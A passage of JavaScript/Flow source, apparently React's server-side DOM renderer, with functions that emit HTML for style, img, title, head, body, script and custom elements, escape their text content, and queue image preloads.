styleReplacer);\n}\nconst styleRegex = /(<\\/|<)(s)(tyle)/gi;\nconst styleReplacer = (\n  match: string,\n  prefix: string,\n  s: string,\n  suffix: string,\n) => `${prefix}${s === 's' ? '\\\\73 ' : '\\\\53 '}${suffix}`;\n\nfunction pushStyleImpl(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n): ReactNodeList {\n  target.push(startChunkForTag('style'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  // Style never participate as a ViewTransition.\n  target.push(endOfStartTag);\n\n  const child = Array.isArray(children)\n    ? children.length < 2\n      ? children[0]\n      : null\n    : children;\n  if (\n    typeof child !== 'function' &&\n    typeof child !== 'symbol' &&\n    child !== null &&\n    child !== undefined\n  ) {\n    target.push(stringToChunk(escapeStyleTextContent(child)));\n  }\n  pushInnerHTML(target, innerHTML, children);\n  target.push(endChunkForTag('style'));\n  return null;\n}\n\nfunction pushStyleContents(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n): void {\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n      }\n    }\n  }\n\n  const child = Array.isArray(children)\n    ? children.length < 2\n      ? children[0]\n      : null\n    : children;\n  if (\n    typeof child !== 'function' &&\n    typeof child !== 'symbol' &&\n    child !== null &&\n    child !== undefined\n  ) {\n    target.push(stringToChunk(escapeStyleTextContent(child)));\n  }\n  pushInnerHTML(target, innerHTML, children);\n  return;\n}\n\nfunction pushImg(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  hoistableState: null | HoistableState,\n  formatContext: FormatContext,\n): null {\n  const pictureOrNoScriptTagInScope =\n    formatContext.tagScope & (PICTURE_SCOPE | NOSCRIPT_SCOPE);\n  const {src, srcSet} = props;\n  if (\n    props.loading !== 'lazy' &&\n    (src || srcSet) &&\n    (typeof src === 'string' || src == null) &&\n    (typeof srcSet === 'string' || srcSet == null) &&\n    props.fetchPriority !== 'low' &&\n    !pictureOrNoScriptTagInScope &&\n    // We exclude data URIs in src and srcSet since these should not be preloaded\n    !(\n      typeof src === 'string' &&\n      src[4] === ':' &&\n      (src[0] === 'd' || src[0] === 'D') &&\n      (src[1] === 'a' || src[1] === 'A') &&\n      (src[2] === 't' || src[2] === 'T') &&\n      (src[3] === 'a' || src[3] === 'A')\n    ) &&\n    !(\n      typeof srcSet === 'string' &&\n      srcSet[4] === ':' &&\n      (srcSet[0] === 'd' || srcSet[0] === 'D') &&\n      (srcSet[1] === 'a' || srcSet[1] === 'A') &&\n      (srcSet[2] === 't' || srcSet[2] === 'T') &&\n      (srcSet[3] === 'a' || srcSet[3] === 'A')\n    )\n  ) {\n    // We have a suspensey image and ought to preload it to optimize the loading of display blocking\n    // resumableState.\n\n    if (hoistableState !== null) {\n      // Mark this boundary's state as having suspensey images.\n      // Only do that if we have a ViewTransition that might trigger a parent Suspense boundary\n      // to animate its appearing. Since that's the only case we'd actually apply suspensey images\n      // for SSR reveals.\n      const isInSuspenseWithEnterViewTransition =\n        formatContext.tagScope & APPEARING_SCOPE;\n      if (isInSuspenseWithEnterViewTransition) {\n        hoistableState.suspenseyImages = true;\n      }\n    }\n\n    const sizes = typeof props.sizes === 'string' ? props.sizes : undefined;\n    const key = getImageResourceKey(src, srcSet, sizes);\n\n    const promotablePreloads = renderState.preloads.images;\n\n    let resource = promotablePreloads.get(key);\n    if (resource) {\n      // We consider whether this preload can be promoted to higher priority flushing queue.\n      // The only time a resource will exist here is if it was created during this render\n      // and was not already in the high priority queue.\n      if (\n        props.fetchPriority === 'high' ||\n        renderState.highImagePreloads.size < 10\n      ) {\n        // Delete the resource from the map since we are promoting it and don't want to\n        // reenter this branch in a second pass for duplicate img hrefs.\n        promotablePreloads.delete(key);\n\n        // $FlowFixMe - Flow should understand that this is a Resource if the condition was true\n        renderState.highImagePreloads.add(resource);\n      }\n    } else if (!resumableState.imageResources.hasOwnProperty(key)) {\n      // We must construct a new preload resource\n      resumableState.imageResources[key] = PRELOAD_NO_CREDS;\n      const crossOrigin = getCrossOriginString(props.crossOrigin);\n\n      const headers = renderState.headers;\n      let header;\n      if (\n        headers &&\n        headers.remainingCapacity > 0 &&\n        // browsers today don't support preloading responsive images from link headers so we bail out\n        // if the img has srcset defined\n        typeof props.srcSet !== 'string' &&\n        // this is a hueristic similar to capping element preloads to 10 unless explicitly\n        // fetchPriority=\"high\". We use length here which means it will fit fewer images when\n        // the urls are long and more when short. arguably byte size is a better hueristic because\n        // it directly translates to how much we send down before content is actually seen.\n        // We could unify the counts and also make it so the total is tracked regardless of\n        // flushing output but since the headers are likely to be go earlier than content\n        // they don't really conflict so for now I've kept them separate\n        (props.fetchPriority === 'high' ||\n          headers.highImagePreloads.length < 500) &&\n        // We manually construct the options for the preload only from strings. We don't want to pollute\n        // the params list with arbitrary props and if we copied everything over as it we might get\n        // coercion errors. We have checks for this in Dev but it seems safer to just only accept values\n        // that are strings\n        ((header = getPreloadAsHeader(src, 'image', {\n          imageSrcSet: props.srcSet,\n          imageSizes: props.sizes,\n          crossOrigin,\n          integrity: props.integrity,\n          nonce: props.nonce,\n          type: props.type,\n          fetchPriority: props.fetchPriority,\n          referrerPolicy: props.refererPolicy,\n        })),\n        // We always consume the header length since once we find one header that doesn't fit\n        // we assume all the rest won't as well. This is to avoid getting into a situation\n        // where we have a very small remaining capacity but no headers will ever fit and we end\n        // up constantly trying to see if the next resource might make it. In the future we can\n        // make this behavior different between render and prerender since in the latter case\n        // we are less sensitive to the current requests runtime per and more sensitive to maximizing\n        // headers.\n        (headers.remainingCapacity -= header.length + 2) >= 0)\n      ) {\n        // If we postpone in the shell we will still emit this preload so we track\n        // it to make sure we don't reset it.\n        renderState.resets.image[key] = PRELOAD_NO_CREDS;\n        if (headers.highImagePreloads) {\n          headers.highImagePreloads += ', ';\n        }\n        // $FlowFixMe[unsafe-addition]: we assign header during the if condition\n        headers.highImagePreloads += header;\n      } else {\n        resource = [];\n        pushLinkImpl(\n          resource,\n          ({\n            rel: 'preload',\n            as: 'image',\n            // There is a bug in Safari where imageSrcSet is not respected on preload links\n            // so we omit the href here if we have imageSrcSet b/c safari will load the wrong image.\n            // This harms older browers that do not support imageSrcSet by making their preloads not work\n            // but this population is shrinking fast and is already small so we accept this tradeoff.\n            href: srcSet ? undefined : src,\n            imageSrcSet: srcSet,\n            imageSizes: sizes,\n            crossOrigin: crossOrigin,\n            integrity: props.integrity,\n            type: props.type,\n            fetchPriority: props.fetchPriority,\n            referrerPolicy: props.referrerPolicy,\n          }: PreloadProps),\n        );\n        if (\n          props.fetchPriority === 'high' ||\n          renderState.highImagePreloads.size < 10\n        ) {\n          renderState.highImagePreloads.add(resource);\n        } else {\n          renderState.bulkPreloads.add(resource);\n          // We can bump the priority up if the same img is rendered later\n          // with fetchPriority=\"high\"\n          promotablePreloads.set(key, resource);\n        }\n      }\n    }\n  }\n  return pushSelfClosing(target, props, 'img', formatContext);\n}\n\nfunction pushSelfClosing(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  tag: string,\n  formatContext: FormatContext,\n): null {\n  target.push(startChunkForTag(tag));\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            `${tag} is a self-closing tag and must neither have \\`children\\` nor ` +\n              'use `dangerouslySetInnerHTML`.',\n          );\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTagSelfClosing);\n  return null;\n}\n\nfunction pushStartMenuItem(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag('menuitem'));\n\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n        case 'dangerouslySetInnerHTML':\n          throw new Error(\n            'menuitems cannot have `children` nor `dangerouslySetInnerHTML`.',\n          );\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  return null;\n}\n\nfunction pushTitle(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  renderState: RenderState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;\n  const isFallback = formatContext.tagScope & FALLBACK_SCOPE;\n  if (__DEV__) {\n    if (hasOwnProperty.call(props, 'children')) {\n      const children = props.children;\n\n      const child = Array.isArray(children)\n        ? children.length < 2\n          ? children[0]\n          : null\n        : children;\n\n      if (Array.isArray(children) && children.length > 1) {\n        console.error(\n          'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an Array with length %s instead.' +\n            ' Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert `children` of <title> tags to a single string value' +\n            ' which is why Arrays of length greater than 1 are not supported. When using JSX it can be common to combine text nodes and value nodes.' +\n            ' For example: <title>hello {nameOfUser}</title>. While not immediately apparent, `children` in this case is an Array with length 2. If your `children` prop' +\n            ' is using this form try rewriting it using a template string: <title>{`hello ${nameOfUser}`}</title>.',\n          children.length,\n        );\n      } else if (typeof child === 'function' || typeof child === 'symbol') {\n        const childType =\n          typeof child === 'function' ? 'a Function' : 'a Sybmol';\n        console.error(\n          'React expect children of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found %s instead.' +\n            ' Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert children of <title>' +\n            ' tags to a single string value.',\n          childType,\n        );\n      } else if (child && child.toString === {}.toString) {\n        if (child.$$typeof != null) {\n          console.error(\n            'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an object that appears to be' +\n              ' a React element which never implements a suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text content and React expects to' +\n              ' be able to convert children of <title> tags to a single string value which is why rendering React elements is not supported. If the `children` of <title> is' +\n              ' a React Component try moving the <title> tag into that component. If the `children` of <title> is some HTML markup change it to be Text only to be valid HTML.',\n          );\n        } else {\n          console.error(\n            'React expects the `children` prop of <title> tags to be a string, number, bigint, or object with a novel `toString` method but found an object that does not implement' +\n              ' a suitable `toString` method. Browsers treat all child Nodes of <title> tags as Text content and React expects to be able to convert children of <title> tags' +\n              ' to a single string value. Using the default `toString` method available on every object is almost certainly an error. Consider whether the `children` of this <title>' +\n              ' is an object in error and change it to a string or number value if so. Otherwise implement a `toString` method that React can use to produce a valid <title>.',\n          );\n        }\n      }\n    }\n  }\n\n  if (\n    formatContext.insertionMode !== SVG_MODE &&\n    !noscriptTagInScope &&\n    props.itemProp == null\n  ) {\n    if (isFallback) {\n      // Hoistable Elements for fallbacks are simply omitted. we don't want to emit them early\n      // because they are likely superceded by primary content and we want to avoid needing to clean\n      // them up when the primary content is ready. They are never hydrated on the client anyway because\n      // boundaries in fallback are awaited or client render, in either case there is never hydration\n      return null;\n    } else {\n      pushTitleImpl(renderState.hoistableChunks, props);\n    }\n  } else {\n    return pushTitleImpl(target, props);\n  }\n}\n\nfunction pushTitleImpl(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n): null {\n  target.push(startChunkForTag('title'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n  // Title never participate as a ViewTransition\n  target.push(endOfStartTag);\n\n  const child = Array.isArray(children)\n    ? children.length < 2\n      ? children[0]\n      : null\n    : children;\n  if (\n    typeof child !== 'function' &&\n    typeof child !== 'symbol' &&\n    child !== null &&\n    child !== undefined\n  ) {\n    // eslint-disable-next-line react-internal/safe-string-coercion\n    target.push(stringToChunk(escapeTextForBrowser('' + child)));\n  }\n  pushInnerHTML(target, innerHTML, children);\n  target.push(endChunkForTag('title'));\n  return null;\n}\n\n// These are used by the client if we clear a boundary and we find these, then we\n// also clear the singleton as well.\nconst headPreambleContributionChunk = stringToPrecomputedChunk('<!--head-->');\nconst bodyPreambleContributionChunk = stringToPrecomputedChunk('<!--body-->');\nconst htmlPreambleContributionChunk = stringToPrecomputedChunk('<!--html-->');\n\nfunction pushStartHead(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  renderState: RenderState,\n  preambleState: null | PreambleState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (formatContext.insertionMode < HTML_MODE) {\n    // This <head> is the Document.head and should be part of the preamble\n    const preamble = preambleState || renderState.preamble;\n\n    if (preamble.headChunks) {\n      throw new Error(`The ${'`<head>`'} tag may only be rendered once.`);\n    }\n\n    // Insert a marker in the body where the contribution to the head was in case we need to clear it.\n    if (preambleState !== null) {\n      target.push(headPreambleContributionChunk);\n    }\n\n    preamble.headChunks = [];\n    return pushStartSingletonElement(\n      preamble.headChunks,\n      props,\n      'head',\n      formatContext,\n    );\n  } else {\n    // This <head> is deep and is likely just an error. we emit it inline though.\n    // Validation should warn that this tag is the the wrong spot.\n    return pushStartGenericElement(target, props, 'head', formatContext);\n  }\n}\n\nfunction pushStartBody(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  renderState: RenderState,\n  preambleState: null | PreambleState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (formatContext.insertionMode < HTML_MODE) {\n    // This <body> is the Document.body\n    const preamble = preambleState || renderState.preamble;\n\n    if (preamble.bodyChunks) {\n      throw new Error(`The ${'`<body>`'} tag may only be rendered once.`);\n    }\n\n    // Insert a marker in the body where the contribution to the body tag was in case we need to clear it.\n    if (preambleState !== null) {\n      target.push(bodyPreambleContributionChunk);\n    }\n\n    preamble.bodyChunks = [];\n    return pushStartSingletonElement(\n      preamble.bodyChunks,\n      props,\n      'body',\n      formatContext,\n    );\n  } else {\n    // This <head> is deep and is likely just an error. we emit it inline though.\n    // Validation should warn that this tag is the the wrong spot.\n    return pushStartGenericElement(target, props, 'body', formatContext);\n  }\n}\n\nfunction pushStartHtml(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  renderState: RenderState,\n  preambleState: null | PreambleState,\n  formatContext: FormatContext,\n): ReactNodeList {\n  if (formatContext.insertionMode === ROOT_HTML_MODE) {\n    // This <html> is the Document.documentElement\n    const preamble = preambleState || renderState.preamble;\n\n    if (preamble.htmlChunks) {\n      throw new Error(`The ${'`<html>`'} tag may only be rendered once.`);\n    }\n\n    // Insert a marker in the body where the contribution to the head was in case we need to clear it.\n    if (preambleState !== null) {\n      target.push(htmlPreambleContributionChunk);\n    }\n\n    preamble.htmlChunks = [DOCTYPE];\n    return pushStartSingletonElement(\n      preamble.htmlChunks,\n      props,\n      'html',\n      formatContext,\n    );\n  } else {\n    // This <html> is deep and is likely just an error. we emit it inline though.\n    // Validation should warn that this tag is the the wrong spot.\n    return pushStartGenericElement(target, props, 'html', formatContext);\n  }\n}\n\nfunction pushScript(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  textEmbedded: boolean,\n  formatContext: FormatContext,\n): null {\n  const noscriptTagInScope = formatContext.tagScope & NOSCRIPT_SCOPE;\n  const asyncProp = props.async;\n  if (\n    typeof props.src !== 'string' ||\n    !props.src ||\n    !(\n      asyncProp &&\n      typeof asyncProp !== 'function' &&\n      typeof asyncProp !== 'symbol'\n    ) ||\n    props.onLoad ||\n    props.onError ||\n    formatContext.insertionMode === SVG_MODE ||\n    noscriptTagInScope ||\n    props.itemProp != null\n  ) {\n    // This script will not be a resource, we bailout early and emit it in place.\n    return pushScriptImpl(target, props);\n  }\n\n  const src = props.src;\n  const key = getResourceKey(src);\n  // We can make this <script> into a ScriptResource\n\n  let resources, preloads;\n  if (props.type === 'module') {\n    resources = resumableState.moduleScriptResources;\n    preloads = renderState.preloads.moduleScripts;\n  } else {\n    resources = resumableState.scriptResources;\n    preloads = renderState.preloads.scripts;\n  }\n\n  const hasKey = resources.hasOwnProperty(key);\n  const resourceState = hasKey ? resources[key] : undefined;\n  if (resourceState !== EXISTS) {\n    // We are going to create this resource now so it is marked as Exists\n    resources[key] = EXISTS;\n\n    let scriptProps = props;\n    if (resourceState) {\n      // When resourceState is truty it is a Preload state. We cast it for clarity\n      const preloadState: Preloaded | PreloadedWithCredentials = resourceState;\n      if (preloadState.length === 2) {\n        scriptProps = {...props};\n        adoptPreloadCredentials(scriptProps, preloadState);\n      }\n\n      const preloadResource = preloads.get(key);\n      if (preloadResource) {\n        // the preload resource exists was created in this render. Now that we have\n        // a script resource which will emit earlier than a preload would if it\n        // hasn't already flushed we prevent it from flushing by zeroing the length\n        preloadResource.length = 0;\n      }\n    }\n\n    const resource: Resource = [];\n    // Add to the script flushing queue\n    renderState.scripts.add(resource);\n    // encode the tag as Chunks\n    pushScriptImpl(resource, scriptProps);\n  }\n\n  if (textEmbedded) {\n    // This script follows text but we aren't writing a tag. while not as efficient as possible we need\n    // to be safe and assume text will follow by inserting a textSeparator\n    target.push(textSeparator);\n  }\n  return null;\n}\n\nfunction pushScriptImpl(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n): null {\n  target.push(startChunkForTag('script'));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n  // Scripts never participate as a ViewTransition\n  target.push(endOfStartTag);\n\n  if (__DEV__) {\n    if (children != null && typeof children !== 'string') {\n      const descriptiveStatement =\n        typeof children === 'number'\n          ? 'a number for children'\n          : Array.isArray(children)\n            ? 'an array for children'\n            : 'something unexpected for children';\n      console.error(\n        'A script element was rendered with %s. If script element has children it must be a single string.' +\n          ' Consider using dangerouslySetInnerHTML or passing a plain string as children.',\n        descriptiveStatement,\n      );\n    }\n  }\n\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    target.push(stringToChunk(escapeEntireInlineScriptContent(children)));\n  }\n  target.push(endChunkForTag('script'));\n  return null;\n}\n\n// This is a fork of pushStartGenericElement because we don't ever want to do\n// the children as strign optimization on that path when rendering singletons.\n// When we eliminate that special path we can delete this fork and unify it again\nfunction pushStartSingletonElement(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  tag: string,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag(tag));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  return children;\n}\n\nfunction pushStartGenericElement(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  tag: string,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag(tag));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  if (typeof children === 'string') {\n    // Special case children as a string to avoid the unnecessary comment.\n    // TODO: Remove this special case after the general optimization is in place.\n    target.push(stringToChunk(encodeHTMLTextNode(children)));\n    return null;\n  }\n  return children;\n}\n\nfunction pushStartCustomElement(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  tag: string,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag(tag));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      let propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      let attributeName = propKey;\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        case 'style':\n          pushStyleAttribute(target, propValue);\n          break;\n        case 'suppressContentEditableWarning':\n        case 'suppressHydrationWarning':\n        case 'ref':\n          // Ignored. These are built-in to React on the client.\n          break;\n        case 'className':\n          // className gets rendered as class on the client, so it should be\n          // rendered as class on the server.\n          attributeName = 'class';\n        // intentional fallthrough\n        default:\n          if (\n            isAttributeNameSafe(propKey) &&\n            typeof propValue !== 'function' &&\n            typeof propValue !== 'symbol'\n          ) {\n            if (propValue === false) {\n              continue;\n            } else if (propValue === true) {\n              propValue = '';\n            } else if (typeof propValue === 'object') {\n              continue;\n            }\n            target.push(\n              attributeSeparator,\n              stringToChunk(attributeName),\n              attributeAssign,\n              stringToChunk(escapeTextForBrowser(propValue)),\n              attributeEnd,\n            );\n          }\n          break;\n      }\n    }\n  }\n\n  // TODO: ViewTransition attributes gets observed by the Custom Element which is a bit sketchy.\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n  pushInnerHTML(target, innerHTML, children);\n  return children;\n}\n\nconst leadingNewline = stringToPrecomputedChunk('\\n');\n\nfunction pushStartPreformattedElement(\n  target: Array<Chunk | PrecomputedChunk>,\n  props: Object,\n  tag: string,\n  formatContext: FormatContext,\n): ReactNodeList {\n  target.push(startChunkForTag(tag));\n\n  let children = null;\n  let innerHTML = null;\n  for (const propKey in props) {\n    if (hasOwnProperty.call(props, propKey)) {\n      const propValue = props[propKey];\n      if (propValue == null) {\n        continue;\n      }\n      switch (propKey) {\n        case 'children':\n          children = propValue;\n          break;\n        case 'dangerouslySetInnerHTML':\n          innerHTML = propValue;\n          break;\n        default:\n          pushAttribute(target, propKey, propValue);\n          break;\n      }\n    }\n  }\n\n  pushViewTransitionAttributes(target, formatContext);\n\n  target.push(endOfStartTag);\n\n  // text/html ignores the first character in these tags if it's a newline\n  // Prefer to break application/xml over text/html (for now) by adding\n  // a newline specifically to get eaten by the parser. (Alternately for\n  // textareas, replacing \"^\\n\" with \"\\r\\n\" doesn't get eaten, and the first\n  // \\r is normalized out by HTMLTextAreaElement#value.)\n  // See: <http://www.w3.org/TR/html-polyglot/#newlines-in-textarea-and-pre>\n  // See: <http://www.w3.org/TR/html5/syntax.html#element-restrictions>\n  // See: <http://www.w3.org/TR/html5/syntax.html#newlines>\n  // See: Parsing of \"textarea\" \"listing\" and \"pre\" elements\n  //  from <http://www.w3.org/TR/html5/syntax.html#parsing-main-inbody>\n  // TODO: This doesn't deal with the case where the child is an array\n  // or component that returns a string.\n  if (innerHTML != null) {\n    if (children != null) {\n      throw new Error(\n        'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n      );\n    }\n\n    if (typeof innerHTML !== 'object' || !('__html' in innerHTML)) {\n      throw new Error(\n        '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n          'Please visit https://react.dev/link/dangerously-set-inner-html ' +\n          'for more information.',\n      );\n    }\n\n    const html = innerHTML.__html;\n    if (html !== null && html !== undefined) {\n      if (typeof html === 'string' && html.length > 0 && html[0] === '\\n') {\n        target.push(leadingNewline, stringToChunk(html));\n      } else {\n        if (__DEV__) {\n          checkHtmlStringCoercion(html);\n        }\n        target.push(stringToChunk('' + html));\n      }\n    }\n  }\n  if (typeof children === 'string' && children[0] === '\\n') {\n    target.push(leadingNewline);\n  }\n  return children;\n}\n\n// We accept any tag to be rendered but since this gets injected into arbitrary\n// HTML, we want to make sure that it's a safe tag.\n// http://www.w3.org/TR/REC-xml/#NT-Name\nconst VALID_TAG_REGEX = /^[a-zA-Z][a-zA-Z:_\\.\\-\\d]*$/; // Simplified subset\nconst validatedTagCache = new Map<string, PrecomputedChunk>();\nfunction startChunkForTag(tag: string): PrecomputedChunk {\n  let tagStartChunk = validatedTagCache.get(tag);\n  if (tagStartChunk === undefined) {\n    if (!VALID_TAG_REGEX.test(tag)) {\n      throw new Error(`Invalid tag: ${tag}`);\n    }\n\n    tagStartChunk = stringToPrecomputedChunk('<' + tag);\n    validatedTagCache.set(tag, tagStartChunk);\n  }\n  return tagStartChunk;\n}\n\nexport const doctypeChunk: PrecomputedChunk =\n  stringToPrecomputedChunk('<!DOCTYPE html>');\n\nimport {doctypeChunk as DOCTYPE} from 'react-server/src/ReactFizzConfig';\n\nexport function pushStartInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  type: string,\n  props: Object,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  preambleState: null | PreambleState,\n  hoistableState: null | HoistableState,\n  formatContext: FormatContext,\n  textEmbedded: boolean,\n): ReactNodeList {\n  if (__DEV__) {\n    validateARIAProperties(type, props);\n    validateInputProperties(type, props);\n    validateUnknownProperties(type, props, null);\n\n    if (\n      !props.suppressContentEditableWarning &&\n      props.contentEditable &&\n      props.children != null\n    ) {\n      console.error(\n        'A component is `contentEditable` and contains `children` managed by ' +\n          'React. It is now your responsibility to guarantee that none of ' +\n          'those nodes are unexpectedly modified or duplicated. This is ' +\n          'probably not intentional.',\n      );\n    }\n\n    if (\n      formatContext.insertionMode !== SVG_MODE &&\n      formatContext.insertionMode !== MATHML_MODE\n    ) {\n      if (type.indexOf('-') === -1 && type.toLowerCase() !== type) {\n        console.error(\n          '<%s /> is using incorrect casing. ' +\n            'Use PascalCase for React components, ' +\n            'or lowercase for HTML elements.',\n          type,\n        );\n      }\n    }\n  }\n\n  switch (type) {\n    case 'div':\n    case 'span':\n    case 'svg':\n    case 'path':\n      // Fast track very common tags\n      break;\n    case 'a':\n      return pushStartAnchor(target, props, formatContext);\n    case 'g':\n    case 'p':\n    case 'li':\n      // Fast track very common tags\n      break;\n    // Special tags\n    case 'select':\n      return pushStartSelect(target, props, formatContext);\n    case 'option':\n      return pushStartOption(target, props, formatContext);\n    case 'textarea':\n      return pushStartTextArea(target, props, formatContext);\n    case 'input':\n      return pushInput(\n        target,\n        props,\n        resumableState,\n        renderState,\n        formatContext,\n      );\n    case 'button':\n      return pushStartButton(\n        target,\n        props,\n        resumableState,\n        renderState,\n        formatContext,\n      );\n    case 'form':\n      return pushStartForm(\n        target,\n        props,\n        resumableState,\n        renderState,\n        formatContext,\n      );\n    case 'menuitem':\n      return pushStartMenuItem(target, props, formatContext);\n    case 'object':\n      return pushStartObject(target, props, formatContext);\n    case 'title':\n      return pushTitle(target, props, renderState, formatContext);\n    case 'link':\n      return pushLink(\n        target,\n        props,\n        resumableState,\n        renderState,\n        hoistableState,\n        textEmbedded,\n        formatContext,\n      );\n    case 'script':\n      return pushScript(\n        target,\n        props,\n        resumableState,\n        renderState,\n        textEmbedded,\n        formatContext,\n      );\n    case 'style':\n      return pushStyle(\n        target,\n        props,\n        resumableState,\n        renderState,\n        hoistableState,\n        textEmbedded,\n        formatContext,\n      );\n    case 'meta':\n      return pushMeta(target, props, renderState, textEmbedded, formatContext);\n    // Newline eating tags\n    case 'listing':\n    case 'pre': {\n      return pushStartPreformattedElement(target, props, type, formatContext);\n    }\n    case 'img': {\n      return pushImg(\n        target,\n        props,\n        resumableState,\n        renderState,\n        hoistableState,\n        formatContext,\n      );\n    }\n    // Omitted close tags\n    case 'base':\n    case 'area':\n    case 'br':\n    case 'col':\n    case 'embed':\n    case 'hr':\n    case 'keygen':\n    case 'param':\n    case 'source':\n    case 'track':\n    case 'wbr': {\n      return pushSelfClosing(target, props, type, formatContext);\n    }\n    // These are reserved SVG and MathML elements, that are never custom elements.\n    // https://html.spec.whatwg.org/multipage/custom-elements.html#custom-elements-core-concepts\n    case 'annotation-xml':\n    case 'color-profile':\n    case 'font-face':\n    case 'font-face-src':\n    case 'font-face-uri':\n    case 'font-face-format':\n    case 'font-face-name':\n    case 'missing-glyph': {\n      break;\n    }\n    // Preamble start tags\n    case 'head':\n      return pushStartHead(\n        target,\n        props,\n        renderState,\n        preambleState,\n        formatContext,\n      );\n    case 'body':\n      return pushStartBody(\n        target,\n        props,\n        renderState,\n        preambleState,\n        